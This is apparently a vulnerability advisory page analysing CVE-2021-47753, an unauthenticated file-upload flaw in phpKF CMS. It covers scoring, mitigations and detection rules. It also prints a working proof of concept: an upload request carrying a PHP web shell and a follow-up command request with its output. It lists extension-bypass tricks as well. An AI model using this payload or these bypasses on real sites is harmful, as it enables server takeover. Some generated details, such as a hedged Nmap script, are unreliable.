CVE-2021-47753
CVE-2021-47753
Weakness (CWE)
CVSS Vector
v4.0- Attack Vector
- Network
- Attack Complexity
- Low
- Attack Requirements
- None
- Privileges Required
- None
- User Interaction
- None
- Confidentiality (Vulnerable)
- High
- Integrity (Vulnerable)
- High
- Availability (Vulnerable)
- High
- Confidentiality (Subsequent)
- None
- Integrity (Subsequent)
- None
- Availability (Subsequent)
- None
Description
phpKF CMS 3.00 Beta y6 contains an unauthenticated file upload vulnerability that allows remote attackers to execute arbitrary code by bypassing file extension checks. Attackers can upload a PHP file disguised as a PNG, rename it, and execute system commands through a crafted web shell parameter.
Comprehensive Technical Analysis of CVE-2021-47753
CVE ID: CVE-2021-47753 CVSS Score: 9.8 (Critical) Vulnerability Type: Unauthenticated Arbitrary File Upload (Remote Code Execution - RCE) Affected Software: phpKF CMS 3.00 Beta y6
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2021-47753 is a critical unauthenticated file upload vulnerability in phpKF CMS 3.00 Beta y6, allowing remote attackers to execute arbitrary code on the target system. The flaw stems from insufficient file extension validation, enabling attackers to bypass security checks and upload malicious PHP files disguised as benign file types (e.g., PNG).
CVSS v3.1 Scoring Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over HTTP/HTTPS. |
| Attack Complexity (AC) | Low | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None | No authentication needed. |
| User Interaction (UI) | None | No user interaction required. |
| Scope (S) | Unchanged | Impact is confined to the vulnerable CMS. |
| Confidentiality (C) | High | Full system compromise possible. |
| Integrity (I) | High | Attacker can modify files, execute commands. |
| Availability (A) | High | System can be rendered inoperable. |
| Base Score | 9.8 (Critical) | Extremely severe due to unauthenticated RCE. |
Severity Justification
- Unauthenticated RCE is one of the most severe vulnerabilities, as it allows attackers to gain full control over the system without credentials.
- The low attack complexity and network-based exploitability make it highly attractive to threat actors.
- The impact on confidentiality, integrity, and availability (CIA triad) is maximal, justifying the 9.8 CVSS score.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Workflow
-
File Upload Bypass
- The CMS fails to properly validate file extensions, allowing attackers to upload a PHP file disguised as an image (e.g.,
shell.png.php). - Some implementations may also allow double extensions (e.g.,
shell.php.png) or MIME-type spoofing.
- The CMS fails to properly validate file extensions, allowing attackers to upload a PHP file disguised as an image (e.g.,
-
File Renaming & Execution
- After upload, the attacker renames the file (e.g., via a secondary vulnerability or misconfiguration) to remove the
.pngextension, leavingshell.php. - Alternatively, the CMS may automatically rename files in a predictable manner, allowing the attacker to guess the final filename.
- After upload, the attacker renames the file (e.g., via a secondary vulnerability or misconfiguration) to remove the
-
Web Shell Execution
- The attacker accesses the uploaded PHP file via a web request (e.g.,
http://target.com/uploads/shell.php?cmd=id). - A crafted parameter (e.g.,
?cmd=) enables command injection, allowing arbitrary system commands to be executed.
- The attacker accesses the uploaded PHP file via a web request (e.g.,
Proof-of-Concept (PoC) Exploit
A publicly available exploit (Exploit-DB #50610) demonstrates the following attack chain:
- Upload a malicious PHP file with a
.pngextension:POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.png.php" Content-Type: image/png <?php system($_GET['cmd']); ?> ------WebKitFormBoundary-- - Rename the file (if necessary) to remove the
.pngextension. - Execute arbitrary commands:
Response:GET /uploads/shell.php?cmd=id HTTP/1.1 Host: target.comuid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation Impact
- Remote Code Execution (RCE): Full system compromise, including:
- Data exfiltration (databases, files).
- Lateral movement within the network.
- Deployment of ransomware, cryptominers, or backdoors.
- Persistence: Attackers may install web shells, reverse shells, or rootkits.
- Defacement: Modification of website content.
- Privilege Escalation: If the web server runs as
root, attackers gain full system control.
3. Affected Systems & Software Versions
Vulnerable Software
- phpKF CMS 3.00 Beta y6 (and likely earlier versions).
- Platform: PHP-based web applications running on:
- Apache/Nginx web servers.
- Linux/Windows operating systems.
- MySQL/PostgreSQL databases (if used by the CMS).
Detection Methods
- Manual Inspection:
- Check for
phpKF CMS 3.00 Beta y6in/admin/version.phpor similar files. - Look for unrestricted file upload endpoints (e.g.,
/upload.php).
- Check for
- Automated Scanning:
- Nmap Script:
http-phpkf-file-upload.nse(if available). - Burp Suite / OWASP ZAP: Test file upload functionality for extension bypass.
- Nuclei Template: Custom template to detect vulnerable versions.
- Nmap Script:
4. Recommended Mitigation Strategies
Immediate Remediation
-
Upgrade phpKF CMS
- Apply the latest security patches (if available) or migrate to a supported CMS.
- If no patch exists, discontinue use of phpKF CMS due to its end-of-life (EOL) status.
-
Disable File Uploads (Temporary Workaround)
- Remove or restrict access to
/upload.phpif not critical. - Implement IP-based restrictions for file upload endpoints.
- Remove or restrict access to
-
File Upload Security Hardening
- Strict File Extension Validation:
- Whitelist allowed extensions (e.g.,
.jpg,.png). - Reject files with double extensions (e.g.,
.php.png).
- Whitelist allowed extensions (e.g.,
- MIME-Type Verification:
- Use
finfo_file()to verify the actual file type.
- Use
- File Renaming:
- Rename uploaded files to randomized names (e.g.,
uuid4().ext). - Store files outside the web root (e.g.,
/var/uploads/instead of/var/www/uploads/).
- Rename uploaded files to randomized names (e.g.,
- Content-Disposition Headers:
- Force downloads for non-image files to prevent execution.
- Strict File Extension Validation:
-
Web Application Firewall (WAF) Rules
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block:
- PHP file uploads.
- Suspicious
cmd=parameters.
- Example rule:
SecRule FILES_TMPNAMES "@inspectFile /path/to/php_checker.sh" "id:1000,deny,status:403"
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block:
-
Network-Level Protections
- Isolate the web server in a DMZ with strict egress filtering.
- Disable PHP execution in upload directories via
.htaccess:<FilesMatch "\.php$"> Deny from all </FilesMatch>
Long-Term Security Recommendations
- Regular Vulnerability Scanning:
- Use Nessus, OpenVAS, or Burp Suite to detect file upload flaws.
- Secure Coding Practices:
- Follow OWASP File Upload Cheat Sheet.
- Implement Content Security Policy (CSP) to mitigate XSS risks.
- Incident Response Planning:
- Develop a playbook for RCE incidents, including:
- Isolation of affected systems.
- Forensic analysis of uploaded files.
- Log review for exploitation attempts.
- Develop a playbook for RCE incidents, including:
5. Impact on the Cybersecurity Landscape
Threat Actor Exploitation
- Opportunistic Attacks:
- Script kiddies and automated bots will exploit this vulnerability due to its low complexity.
- Ransomware groups (e.g., LockBit, BlackCat) may use it for initial access.
- Targeted Attacks:
- APT groups may leverage this in supply-chain attacks if phpKF is used in enterprise environments.
- Cryptojacking campaigns may deploy miners via this RCE.
Broader Implications
- Increased Attack Surface:
- Many legacy CMS platforms suffer from similar file upload flaws, making them low-hanging fruit for attackers.
- Compliance Risks:
- Organizations using vulnerable software may violate:
- GDPR (data breach notification requirements).
- PCI DSS (if handling payment data).
- HIPAA (if processing healthcare data).
- Organizations using vulnerable software may violate:
- Reputation Damage:
- Successful exploitation can lead to data breaches, defacement, or ransomware, harming brand trust.
Historical Context
- Similar vulnerabilities:
- CVE-2019-11043 (PHP-FPM RCE)
- CVE-2021-22205 (GitLab Unauthenticated RCE)
- CVE-2021-41773 (Apache Path Traversal & RCE)
- Lessons Learned:
- File upload vulnerabilities remain a top attack vector due to poor validation.
- Unauthenticated RCE flaws are highly prized by attackers.
6. Technical Details for Security Professionals
Root Cause Analysis
- Insufficient Input Validation:
- The CMS does not properly sanitize file extensions or verify MIME types.
- Case sensitivity issues (e.g.,
.PhPvs.php) may allow bypasses.
- Predictable File Storage:
- Uploaded files are stored in a known directory (e.g.,
/uploads/) with predictable naming conventions.
- Uploaded files are stored in a known directory (e.g.,
- Lack of Execution Restrictions:
- PHP files in upload directories are executable by default, enabling RCE.
Exploit Development Insights
- Bypassing Extension Checks:
- Null Byte Injection:
shell.php%00.png(if PHP < 5.3.4). - Double Extensions:
shell.php.png(if the CMS strips only the last extension). - Case Manipulation:
shell.PHP(if the check is case-insensitive).
- Null Byte Injection:
- MIME-Type Spoofing:
- Modify
Content-Type: image/pngwhile uploading a.phpfile.
- Modify
- Path Traversal (if applicable):
- Upload to
../../shell.phpto place the file outside the intended directory.
- Upload to
Forensic Indicators of Compromise (IOCs)
| Indicator | Description |
|---|---|
| File Upload Logs | Unusual .php files in /uploads/. |
| Web Server Logs | Requests to shell.php?cmd=id. |
| Process Execution | Unexpected bash, python, or nc processes. |
| Network Traffic | Outbound connections to attacker-controlled IPs. |
| File System Changes | New .php files in web directories. |
Detection & Hunting Queries
- SIEM Rules (Splunk/ELK):
index=web_logs uri_path="*/upload.php" file_ext="*.php*" | stats count by src_ip, file_name - YARA Rule for Malicious PHP Files:
rule php_webshell { meta: description = "Detects common PHP web shells" strings: $cmd = "system(" $exec = "exec(" $passthru = "passthru(" $eval = "eval(" condition: any of them } - OSQuery for Suspicious Files:
SELECT * FROM file WHERE path LIKE '/var/www/uploads/%' AND (extension = 'php' OR mtime > now() - 86400);
Reverse Engineering the Vulnerability
- Static Analysis:
- Decompile
upload.phpto identify file validation logic. - Check for
move_uploaded_file()usage without proper checks.
- Decompile
- Dynamic Analysis:
- Use Burp Suite to intercept and modify file upload requests.
- Fuzz file extensions (e.g.,
.php,.phtml,.phar) to test bypasses.
Conclusion
CVE-2021-47753 represents a critical unauthenticated RCE vulnerability in phpKF CMS, posing severe risks to affected systems. Due to its low exploitation complexity and high impact, organizations must immediately patch, mitigate, or decommission vulnerable instances. Security teams should monitor for exploitation attempts, harden file upload mechanisms, and implement compensating controls (e.g., WAF rules) to reduce risk.
Given the public availability of exploits, this vulnerability is likely to be widely exploited by both automated bots and advanced threat actors. Proactive defense measures are essential to prevent compromise.
Recommended Next Steps
- Patch or Migrate: Upgrade phpKF CMS or switch to a supported alternative.
- Scan for Vulnerabilities: Use Nessus, OpenVAS, or Burp Suite to detect file upload flaws.
- Harden File Uploads: Implement strict validation, MIME checks, and randomized filenames.
- Monitor for Exploitation: Deploy SIEM rules to detect RCE attempts.
- Incident Response: Prepare for potential breaches with a forensic-ready environment.
References: